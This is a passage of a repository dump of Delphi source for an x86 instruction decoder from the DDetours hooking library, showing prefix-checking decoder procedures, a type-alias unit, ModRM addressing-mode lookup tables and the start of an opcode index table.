Byte;\nbegin\n  SetGroup(PInst);\n  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $AE) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  iMod := GetModRm_Mod(P^);\n  Reg := GetModRm_Reg(P^);\n  if (iMod = $03) and (PInst^.LID.MndPrf = $F3) and (Reg < $04) then\n  begin\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_16(PInst: PInstruction);\nvar\n  P: PByte;\n  iMod, Reg: Byte;\nbegin\n  SetGroup(PInst);\n  if (PInst^.OpTable <> tbTwoByte) and (PInst^.NextInst^ <> $18) then\n    SetInstError(PInst, INVALID_GROUP_OPCODE);\n  P := PInst^.NextInst;\n  Inc(P);\n  iMod := GetModRm_Mod(P^);\n  Reg := GetModRm_Reg(P^);\n  if (iMod <> $03) and (Reg < $04) then\n  begin\n    { Prefetch group instructions. }\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\nprocedure Decode_Group_17(PInst: PInstruction);\nvar\n  P: PByte;\n  Reg: Byte;\nbegin\n  SetGroup(PInst);\n  P := PInst^.NextInst;\n  Inc(P);\n  Reg := GetModRm_Reg(P^);\n  if (Reg > $00) and (Reg < $04) then\n  begin\n    Decode_NA_ModRm(PInst);\n    Exit;\n  end;\n  Decode_Invalid_Group(PInst);\nend;\n\n{ .$ENDREGION }\n{ .$REGION 'DECODERS' }\n{ ========================== DECODERS PROC =============================== }\n\nprocedure Decode_NA_CALL_Ap_I64(PInst: PInstruction);\nbegin\n  { Instruction is only valid for x32 ! }\n  if PInst^.Archi = CPUX64 then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  PInst^.OpType := otCALL;\n  Decode_Ap(PInst);\nend;\n\nprocedure Decode_NA_ModRm(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_NA_Ib(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_Imm(PInst, ops8bits);\nend;\n\nprocedure Decode_NA_Iz(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_Imm(PInst, PInst^.LID.zOpSize);\nend;\n\nprocedure Decode_NA_I64(PInst: PInstruction);\nbegin\n  { Instruction is invalid on PM64 }\n  { Only valid when mandatory prefix is : $00 }\n  if (PInst^.Archi = CPUX64) or ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\nend;\n\nprocedure Decode_NA(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\nend;\n\nprocedure Decode_NA_ModRm_I64(PInst: PInstruction);\nbegin\n  { Instruction is invalid on PM64 }\n  { Only valid when mandatory prefix is : $00 }\n  if (PInst^.Archi = CPUX64) or ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_NA_ModRm_Iz(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\n  Decode_Imm(PInst, PInst^.LID.zOpSize);\nend;\n\nprocedure Decode_NA_ModRm_Ib(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\n  Decode_Imm(PInst, ops8bits);\nend;\n\nprocedure Decode_NA_Jb_Df64(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  PInst^.OperandFlags := opdDf64;\n  Decode_J(PInst, ops8bits);\nend;\n\nprocedure Decode_NA_RET(PInst: PInstruction);\nbegin\n  SetOpCode(PInst);\n  PInst^.OpType := otRET;\n  if PInst^.OpCode in [$C2, $CA] then\n    Decode_Imm(PInst, ops16bits);\nend;\n\nprocedure Decode_NA_Ib_I64(PInst: PInstruction);\nbegin\n  { Instruction is invalid on PM64 }\n  { Only valid when mandatory prefix is : $00 }\n  if (PInst^.Archi = CPUX64) or ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_Imm(PInst, ops8bits);\nend;\n\nprocedure Decode_NA_CALL_Jz_Df64(PInst: PInstruction);\nbegin\n  SetOpCode(PInst);\n  PInst^.OpType := otCALL;\n  PInst^.OperandFlags := opdDf64;\n  Decode_J(PInst, PInst^.LID.zOpSize);\nend;\n\nprocedure Decode_NA_JMP_Jz_Df64(PInst: PInstruction);\nbegin\n  SetOpCode(PInst);\n  PInst^.OpType := otJMP;\n  PInst^.OperandFlags := opdDf64;\n  Decode_J(PInst, PInst^.LID.zOpSize);\nend;\n\nprocedure Decode_NA_JMP_Ap_I64(PInst: PInstruction);\nbegin\n  if PInst^.Archi = CPUX64 then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  PInst^.OpType := otJMP;\n  Decode_Ap(PInst);\nend;\n\nprocedure Decode_NA_JMP_Jb_Df64(PInst: PInstruction);\nbegin\n  SetOpCode(PInst);\n  PInst^.OpType := otJMP;\n  PInst^.OperandFlags := opdDf64;\n  Decode_J(PInst, ops8bits);\nend;\n\nprocedure Decode_CALL_ModRm(PInst: PInstruction);\nbegin\n  PInst^.OpType := otCALL;\n  Decode_Branch_ModRm(PInst);\nend;\n\nprocedure Decode_CALL_Mp(PInst: PInstruction);\nbegin\n  PInst^.OpType := otCALL;\n  Decode_Mp(PInst);\nend;\n\nprocedure Decode_JMP_ModRm(PInst: PInstruction);\nbegin\n  PInst^.OpType := otJMP;\n  Decode_Branch_ModRm(PInst);\nend;\n\nprocedure Decode_JMP_Mp(PInst: PInstruction);\nbegin\n  PInst^.OpType := otJMP;\n  Decode_Mp(PInst);\nend;\n\nprocedure Decode_NA_CALL(PInst: PInstruction);\nbegin\n  { SYSCALL! }\n  SetOpCode(PInst);\nend;\n\nprocedure Decode_NA_66_F2_F3_ModRm(PInst: PInstruction);\nbegin\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_NA_66_ModRm(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 or $66 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$00, $66])) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_NA_66_F3_ModRm(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 or $66 or $F3 }\n  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf = $F2)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_NA_F3_ModRm(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 or $F3 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$00, $F3])) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_66_ModRm(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $66 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $66)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_NA_66_F2_F3_ModRm_Ib(PInst: PInstruction);\nbegin\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\n  Decode_Imm(PInst, ops8bits);\nend;\n\nprocedure Decode_66_F2_ModRm(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $66 or $F2 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$66, $F2])) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_F3_ModRm(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $F3 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $F3)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_NA_66_ModRm_Ib(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 or $66 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf in [$00, $66])) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\n  Decode_Imm(PInst, ops8bits);\nend;\n\nprocedure Decode_66_F2_F3_ModRm(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $66 or $F2 or $F3 }\n  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_F2_ModRm(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $F2 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $F2)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_SP_T38_F0_F7(PInst: PInstruction);\nvar\n  Prf66F2: Boolean;\nbegin\n  if PInst^.NextInst^ = $F3 then\n  begin\n    Decode_Group_17(PInst);\n    Exit;\n  end;\n\n  { 66 & F2 }\n  Prf66F2 := PInst^.Prefixes and (Prf_OpSize or Prf_Repne) = (Prf_OpSize or Prf_Repne);\n\n  if Prf66F2 then\n  begin\n    { Valid only for CRC32 instruction ! }\n    if (PInst^.NextInst^ = $F0) or (PInst^.NextInst^ = $F1) then\n    begin\n      Decode_NA_ModRm(PInst);\n      Exit;\n    end\n    else\n    begin\n      Decode_InvalidOpCode(PInst);\n      Exit;\n    end;\n  end\n  else if PInst^.LID.MndPrf = $00 then\n  begin\n    if (PInst^.NextInst^ = $F4) or (PInst^.NextInst^ = $F6) then\n    begin\n      Decode_InvalidOpCode(PInst);\n      Exit;\n    end;\n  end\n  else if PInst^.LID.MndPrf = $66 then\n  begin\n    if (PInst^.NextInst^ in [$F2 .. $F5]) then\n    begin\n      Decode_InvalidOpCode(PInst);\n      Exit;\n    end;\n  end\n  else if PInst^.LID.MndPrf = $F3 then\n  begin\n    if (PInst^.NextInst^ < $F5) then\n    begin\n      Decode_InvalidOpCode(PInst);\n      Exit;\n    end;\n  end\n  else if PInst^.LID.MndPrf = $F2 then\n  begin\n    if (PInst^.NextInst^ in [$F2 .. $F4]) then\n    begin\n      Decode_InvalidOpCode(PInst);\n      Exit;\n    end;\n  end;\n  Decode_NA_ModRm(PInst);\nend;\n\nprocedure Decode_66_ModRm_Ib(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $66 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $66)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\n  Decode_Imm(PInst, ops8bits);\nend;\n\nprocedure Decode_F2_ModRm_Ib(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $F2 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $F2)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_ModRm(PInst);\n  Decode_Imm(PInst, ops8bits);\nend;\n\nprocedure Decode_NA_RET_Iw_Df64(PInst: PInstruction);\nbegin\n  PInst^.OpType := otRET;\n  SetOpCode(PInst);\n  PInst^.OperandFlags := opdDf64;\n  Decode_Imm(PInst, ops16bits);\nend;\n\nprocedure Decode_NA_D64(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  PInst^.OperandFlags := opdD64;\nend;\n\nprocedure Decode_NA_Iz_D64(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  PInst^.OperandFlags := opdD64;\n  Decode_Imm(PInst, PInst^.LID.zOpSize);\nend;\n\nprocedure Decode_NA_Ib_D64(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  PInst^.OperandFlags := opdD64;\n  Decode_Imm(PInst, ops8bits);\nend;\n\nprocedure Decode_NA_RET_Df64(PInst: PInstruction);\nbegin\n  PInst^.OpType := otRET;\n  PInst^.OperandFlags := opdDf64;\n  SetOpCode(PInst);\nend;\n\nprocedure Decode_NA_RET_Iw(PInst: PInstruction);\nbegin\n  PInst^.OpType := otRET;\n  SetOpCode(PInst);\n  Decode_Imm(PInst, ops16bits);\nend;\n\nprocedure Decode_NA_Iw_Ib_D64(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  PInst^.OperandFlags := opdD64;\n  Decode_Imm(PInst, ops16bits);\n  Decode_Imm(PInst, ops8bits);\nend;\n\nprocedure Decode_NA_ModRm_F64(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  PInst^.OperandFlags := opdF64;\n  Decode_ModRm(PInst);\nend;\n\nprocedure Decode_NA_Jz_Df64(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and (PInst^.LID.MndPrf <> $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  PInst^.OperandFlags := opdDf64;\n  Decode_J(PInst, PInst^.LID.zOpSize);\nend;\n\nprocedure Decode_NA_OfstV(PInst: PInstruction);\nbegin\n  SetOpCode(PInst);\n  Decode_Imm(PInst, PInst.LID.vOpSize);\n  PInst.Disp.Value := PInst.Imm.Value;\n  PInst.Disp.Size := PInst.Imm.Size;\n  PInst.Disp.Flags := dfUsed or dfOffset;\n  PInst.Imm.Size := $00;\n  PInst.Imm.Value := $00;\n  PInst.Imm.Flags := $00;\nend;\n\nprocedure Decode_NA_Iv(PInst: PInstruction);\nbegin\n  { Only valid when mandatory prefix is : $00 }\n  if ((PInst^.OpTable <> tbOneByte) and not(PInst^.LID.MndPrf = $00)) then\n  begin\n    Decode_InvalidOpCode(PInst);\n    Exit;\n  end;\n  SetOpCode(PInst);\n  Decode_Imm(PInst, PInst^.LID.vOpSize);\nend;\n{ .$ENDREGION }\n\nfunction DecodeInst(PInst: PInstruction): Integer;\nvar\n  P: PByte;\n  LArchi: Byte;\n  LAddr: PByte;\n  LErrors: Byte;\n  LVA: PByte;\n  LOptions: Byte;\nbegin\n  { No Errors }\n  SetInstError(PInst, NO_ERROR);\n\n  if not(PInst^.Archi in [CPUX32, CPUX64]) then\n    SetInstError(PInst, INVALID_CPUX);\n\n  if not Assigned(PInst^.Addr) then\n    SetInstError(PInst, INVALID_ADDRESS);\n\n  { Init Instruction Structure }\n  LArchi := PInst^.Archi;\n  LAddr := PInst^.Addr;\n  LVA := PInst^.VirtualAddr;\n  LErrors := PInst^.Errors;\n  LOptions := PInst^.Options;\n\n  FillChar(PInst^, SizeOf(TInstruction), #0);\n\n  PInst^.Archi := LArchi;\n  PInst^.Addr := LAddr;\n  PInst^.Errors := LErrors;\n  PInst^.VirtualAddr := LVA;\n  PInst.Options := LOptions;\n\n  P := PInst^.Addr;\n  PInst^.NextInst := P;\n\n  PInst^.LID.zOpSize := ops32bits;\n  PInst^.LID.vOpSize := ops32bits;\n  PInst^.AddrMode := DefAddressMode[PInst^.Archi];\n\n  { Default Op Table is One Byte ! }\n  PInst^.OpTable := tbOneByte;\n\n  DecoderProcTable[OneByteTable[P^]](PInst);\n  Result := Integer(NativeInt(PInst^.NextInst) - NativeInt(P));\n  PInst^.InstSize := Result;\n\n  if Result > CPUX_TO_INST_LENGTH[PInst^.Archi] then\n    SetInstError(PInst, INVALID_INSTRUCTION_LENGTH);\nend;\n\nend.\n"
  },
  {
    "path": "Detour Hooking/Source/LegacyTypes.pas",
    "content": "// **************************************************************************************************\n//\n// https://github.com/MahdiSafsafi/DDetours\n//\n// **************************************************************************************************\n\nunit LegacyTypes;\n\ninterface\n\n{$I DDetoursDefs.inc}\n\ntype\n\n{$IFNDEF FPC}\n{$IFNDEF DELPHI_XE_UP}\n  NativeInt   = Integer;\n  NativeUInt  = Cardinal;\n  PNativeInt  = ^NativeInt;\n  PNativeUInt = ^NativeUInt;\n{$IFDEF MSWINDOWS}\n  TThreadID = LongWord;\n{$ENDIF MSWINDOWS}\n{$ENDIF DELPHI_XE_UP}\n{$ENDIF FPC}\n  Int8 = Shortint;\n  Int16 = Smallint;\n  Int32 = Integer;\n\n  UInt8 = Byte;\n  UInt16 = Word;\n  UInt32 = Cardinal;\n\n  PInt8 = ^Int8;\n  PInt16 = ^Int16;\n  PInt32 = ^Int32;\n  PInt64 = ^Int64;\n\n  PUInt8 = ^UInt8;\n  PUInt16 = ^UInt16;\n  PUInt32 = ^UInt32;\n  PUInt64 = ^UInt64;\n\n  SIZE_T = NativeUInt;\n\nimplementation\n\nend.\n"
  },
  {
    "path": "Detour Hooking/Source/ModRmFlagsTables.inc",
    "content": "// **************************************************************************************************\n// Part of x86 Instruction Decode Library [InstDecode]\n// \n// https://github.com/MahdiSafsafi/DDetours\n//\n// This Source Code Form is subject to the terms of the Mozilla \n// Public License, v. 2.0. If a copy of the MPL was not distributed \n// with this file, You can obtain one at\n// https://mozilla.org/MPL/2.0/.\n// **************************************************************************************************\n\n\n{ Reference : Intel® 64 and IA-32 Architectures Software Developer’s Manual Vol 2 }\n\ntype\n  TModRmFlagsArray = array [Byte] of Byte;\n  PModRmFlagsArray = ^TModRmFlagsArray;\n  {\n    ModRMFlags :\n    Bits:4 3 2 1 0 .\n\n    Bit 0 : Set ==> Register Indirect Addressing Mode  .\n    Bit 1 : Set ==> Displacement 8 bit .\n    Bit 2 : Set ==> Displacement 16 bit .\n    Bit 3 : Set ==> Displacement 32 bit.\n    Bit 4 : Set ==> SIB Used  .\n\n\n    Values:\n\n    $00 ==> Register .\n    $01 ==> Register Indirect Addressing Mode with No Displacement .\n    $03 ==> Register Indirect Addressing Mode + 8 bit Displacement .\n    $04 ==> 16 bit Displacement only without register .\n    $05 ==> Register Indirect Addressing Mode + 16 bit Displacement .\n    $08 ==> 32 bit Displacement only without register .\n    $09 ==> Register Indirect Addressing Mode + 32 bit Displacement .\n    $11 ==>  Register Indirect Addressing Mode + SIB .\n    $13 ==> Register Indirect Addressing Mode + SIB + 8 bit Displacement .\n    $19 ==> Register Indirect Addressing Mode + SIB + 32 bit Displacement .\n\n  }\n\nconst\n\n  ModRM16Flags: TModRmFlagsArray = (\n    { =>        Mod=00b       <= }\n    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }\n    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }\n    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }\n    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }\n    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }\n    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }\n    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }\n    $01, $01, $01, $01, $01, $01, $04, $01, { 00 }\n    { =>        Mod=01b       <= }\n    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $03, $03, $03, $03, { 01 }\n    { =>        Mod=10b       <= }\n    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }\n    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }\n    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }\n    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }\n    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }\n    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }\n    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }\n    $05, $05, $05, $05, $05, $05, $05, $05, { 10 }\n    { =>        Mod=11b       <= }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00 { 11 }\n\n    );\n  ModRM32Flags: TModRmFlagsArray = (\n    { =>        Mod=00b       <= }\n    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }\n    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }\n    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }\n    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }\n    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }\n    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }\n    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }\n    $01, $01, $01, $01, $11, $08, $01, $01, { 00 }\n    { =>        Mod=01b       <= }\n    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }\n    $03, $03, $03, $03, $13, $03, $03, $03, { 01 }\n    { =>        Mod=10b       <= }\n    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }\n    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }\n    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }\n    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }\n    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }\n    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }\n    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }\n    $09, $09, $09, $09, $19, $09, $09, $09, { 10 }\n    { =>        Mod=11b       <= }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00, { 11 }\n    $00, $00, $00, $00, $00, $00, $00, $00 { 11 }\n\n    );\n\n  ModRmFlags: array [0 .. 3] of PModRmFlagsArray = ( //\n    nil,\n    @ModRM16Flags, { AddrMode 16-bits }\n    @ModRM32Flags, { AddrMode 32-bits }\n    @ModRM32Flags { AddrMode 64-bits }\n    );"
  },
  {
    "path": "Detour Hooking/Source/OpCodesTables.inc",
    "content": "// **************************************************************************************************\n// Part of x86 Instruction Decode Library [InstDecode]\n// \n// https://github.com/MahdiSafsafi/DDetours\n//\n// This Source Code Form is subject to the terms of the Mozilla \n// Public License, v. 2.0. If a copy of the MPL was not distributed \n// with this file, You can obtain one at\n// https://mozilla.org/MPL/2.0/.\n// **************************************************************************************************\n\n{ Reference :\n\t-sandpile.org\n\t-Intel® 64 and IA-32 Architectures Software Developer’s Manual Vol 2\n}\n\n{ ============================================\n\t\t\tIndex -> DecoderProc\n  ============================================ }\n{ 00 = Decode_InvalidOpCode}\n{ 01 = Decode_NA_ModRm}\n{ 02 = Decode_NA_Ib}\n{ 03 = Decode_NA_Iz}\n{ 04 = Decode_NA_I64}\n{ 05 = Decode_Escape_2_Byte}\n{ 06 = Decode_ES_Prefix}\n{ 07 = Decode_CS_Prefix}\n{ 08 = Decode_SS_Prefix}\n{ 09 = Decode_DS_Prefix}\n{ 10 = Decode_REX_Prefix}\n{ 11 = Decode_NA_D64}\n{ 12 = Decode_NA_ModRm_I64}\n{ 13 = Decode_FS_Prefix}\n{ 14 = Decode_GS_Prefix}\n{ 15 = Decode_OPSIZE_Prefix}\n{ 16 = Decode_ADSIZE_Prefix}\n{ 17 = Decode_NA_Iz_D64}\n{ 18 = Decode_NA_ModRm_Iz}\n{ 19 = Decode_NA_Ib_D64}\n{ 20 = Decode_NA_ModRm_Ib}\n{ 21 = Decode_NA}\n{ 22 = Decode_NA_Jb_Df64}\n{ 23 = Decode_Group_1}\n{ 24 = Decode_Group_1A}\n{ 25 = Decode_NA_CALL_Ap_I64}\n{ 26 = Decode_NA_OfstV}\n{ 27 = Decode_NA_Iv}\n{ 28 = Decode_Group_2}\n{ 29 = Decode_NA_RET_Iw_Df64}\n{ 30 = Decode_NA_RET_Df64}\n{ 31 = Decode_VEX3_Prefix}\n{ 32 = Decode_VEX2_Prefix}\n{ 33 = Decode_Group_11}\n{ 34 = Decode_NA_Iw_Ib_D64}\n{ 35 = Decode_NA_RET_Iw}\n{ 36 = Decode_NA_RET}\n{ 37 = Decode_NA_Ib_I64}\n{ 38 = Decode_Escape_FPU_D8}\n{ 39 = Decode_Escape_FPU_D9}\n{ 40 = Decode_Escape_FPU_DA}\n{ 41 = Decode_Escape_FPU_DB}\n{ 42 = Decode_Escape_FPU_DC}\n{ 43 = Decode_Escape_FPU_DD}\n{ 44 = Decode_Escape_FPU_DE}\n{ 45 = Decode_Escape_FPU_DF}\n{ 46 = Decode_NA_CALL_Jz_Df64}\n{ 47 = Decode_NA_JMP_Jz_Df64}\n{ 48 = Decode_NA_JMP_Ap_I64}\n{ 49 = Decode_NA_JMP_Jb_Df64}\n{ 50 = Decode_LOCK_Prefix}\n{ 51 = Decode_REPNE_Prefix}\n{ 52 = Decode_REPE_Prefix}\n{ 53 = Decode_Group_3}\n{ 54 = Decode_Group_4_INC_DEC}\n{ 55 = Decode_Group_5_INC_DEC}\n{ 56 = Decode_Group_6}\n{ 57 = Decode_Group_7}\n{ 58 = Decode_NA_CALL}\n{ 59 = Decode_NA_66_F2_F3_ModRm}\n{ 60 = Decode_NA_66_ModRm}\n{ 61 = Decode_NA_66_F3_ModRm}\n{ 62 = Decode_Group_16}\n{ 63 = Decode_NA_ModRm_F64}\n{ 64 = 